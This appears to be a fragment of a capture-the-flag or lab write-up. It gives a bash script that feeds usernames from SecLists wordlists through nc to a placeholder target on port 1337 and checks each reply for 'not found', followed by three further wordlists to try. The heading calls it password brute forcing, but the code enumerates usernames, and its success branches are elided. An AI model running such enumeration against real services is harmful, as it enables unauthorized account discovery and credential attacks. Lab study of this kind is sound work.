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Bash script to brute force the password:

#!/usr/bin/bash

filename="/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt"

while IFS="" read -r line; do
	# eg. echo smokey | nc <target> 1337
	res=$(echo "$line" | nc -w 1 <target> 1337)

	if [[ "$res" == *"not found"* ]]; then
		# if the substring "not found" is present, means user not found
		...
	else
		# print success message and exit
		...
	fi;

done < "$filename"

Word-lists to try out:

1. /usr/share/wordlists/seclists/Usernames/Names/names.txt

2. /usr/share/wordlists/seclists/Usernames/Names/malenames-usa-top1000.txt

3. /usr/share/wordlists/seclists/Usernames/Names/femalenames-usa-top1000.txt